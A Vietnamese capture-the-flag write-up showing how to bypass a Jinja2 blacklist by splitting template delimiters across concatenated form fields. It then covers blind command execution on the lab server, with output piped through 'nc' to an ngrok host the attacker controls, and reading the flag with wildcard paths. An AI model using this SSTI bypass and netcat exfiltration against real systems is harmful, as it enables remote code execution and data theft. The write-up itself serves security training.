Python - Blind SSTI Filters Bypass
Hard - 75 pts
Bài này cung cấp source code, nên chúng ta sẽ thực tải tải source code về để phân tích:
server_ch73.py
Giải thích ngắn gọn thì bài này sẽ gồm một form gồm có 4 field input để nhập name, surname, email và birthday. Có một số điểm cần lưu ý trong đoạn code:
Độ dài tối đa của name là 20, surname là 50, email là 50 và birthday là 10.
Hàm sanitize sẽ thực hiện xóa kí tự nằm trong blacklist ra khỏi các chuỗi nhập vào.
Trong bài này templete được sử dụng là jinja2, nhưng tất cả {{, }}, {%, %}
đều nằm trong blacklist, đâu là chỗ làm cho mình bế tak part 1.
Sau khi search mệt nhoài trên Internet và không tìm được solution nào hữu dụng cho trường hợp này, mình đã quay trở lại nhìn đi nhìn lại đoạn code thật kĩ. Và mình phát hiện ra một điểm có vẻ sẽ hữu ích:
Trong phần nội dung của mail sẽ được sử dụng trong phần sendmail có một tạo thành filename của file .csv
mà ở đây nội dung do chúng ta nhập vào (name, surname, email, birthday) sẽ được viết liền nhau.
Mình có thể lợi dụng điều này để tạo ra các cặp {{, }}, {%, %} tùy ý.
Nói suông khó hiểu, nên mình sẽ dựng lại ở local để test cho dễ:
Thêm print vô đây để xem được kết quả:
Ở đây mình sẽ nhập vào:
name={
surname={9*9}
email=}
birthday=hi
Giờ chúng ta sẽ thấy kết quả chỗ .csv sẽ trở thành 81hi.csv
, chứng tỏ chúng ta đẽ thực hiện khai thác ssti được.
Vì bài này số kí tự bị giới hạn và một số từ bị filter như: builtins, class, import,...
, nên mình thực hiện chọn ra một payload mà mình thấy thích hợp nhất:
Oke vấn đề thứ nhất được giải quyết, vấn đề thứ hai là kết quả sẽ không được show ra ở bất kì đâu, điều này làm mình betak part 2.
Đầu tiên mà mình nghĩ tới là sử dụng {% if %} {% endif%} block và hàm sleep để thực hiện lấy từng kí tự, nhưng hướng này nohope quá vì thật sự chúng ta chỉ có thể tận dụng nối input để tạo ra duy nhất một cặp {% %} hoặc {{ }}, và kí tự của name và email phải nhỏ hơn 50.
Tiếp theo mình nghĩ tới việc dựng reverse shell, nhưng trình gà quá nên mình dựng đi dựng lại nó vẫn không hoạt động được, vậy nên mình chuyển qua cách khác cũng tương tự nhưng tương đối thủ công hơn:
Ở máy local thực hiện lắng nghe trên port 12345
Sử dụng ngrok để public ra bên ngoài:
Ở phía server, chúng ta cần tính toán để phân chia payload ở surname và email sao cho thích hợp, nó sẽ ở dạng tương tự:
| nc 6.tcp.ngrok.io 13744
để gửi kết quả thực thi command từ server về máy local của chúng ta.
Trước tiên mình sẽ thử thực hiện list file:
Ở đây có folder 9f
là đáng ngờ nhất nên mình thử list file trong 9f, sau một vài lần thử thì mình thấy có vẻ có rất nhiêu folder trong folder, chứng tỏ khả năng rất cao là flag nằm trong này.
Thử dùng find để tìm flag:
Oce, vậy là đã tìm được đường dẫn đến flag, oce vậy cat thôi.
Hi, chưa cat được đâu, vì đường dẫn đến flag rất dài: 9f/35/cc/c7/95/80/59/46/ac/79/10/3d/aa/flag.txt
-> 47 kí tự, dù mình có tìm cách tối ưu như nào thì vẫn không thể đảm bảo nhỏ hơn 50 kí tự.
Ở đây mình có 2 cách giải quyết:
Cách 1: Thực hiện sử dụng * thay vì nhập full đường dẫn, ví dụ:
*/*/*/*/*/*/*/*/*/*/*/*/*/flag*
điều này giúp chúng ta tiết kiệm được kha khá kí tự: Payload:
(3.140.223.7 là do mình chuyển từ 6.tcp.ngrok.io sang IP để rút ngắn ký tự :')))) )
Kết quả đọc flag thành công:
Cách 2:
Mình tự nhận thấy cách này ngu ngok. Hehe. Anyway, it works
Dùng grep -r "something" để in ra nội dung, mình grep dần dần theo bản chữ cái đến khi nào gặp được flag. Cũng không lâu lắm, mình grep đến kí tự c là được:
Last updated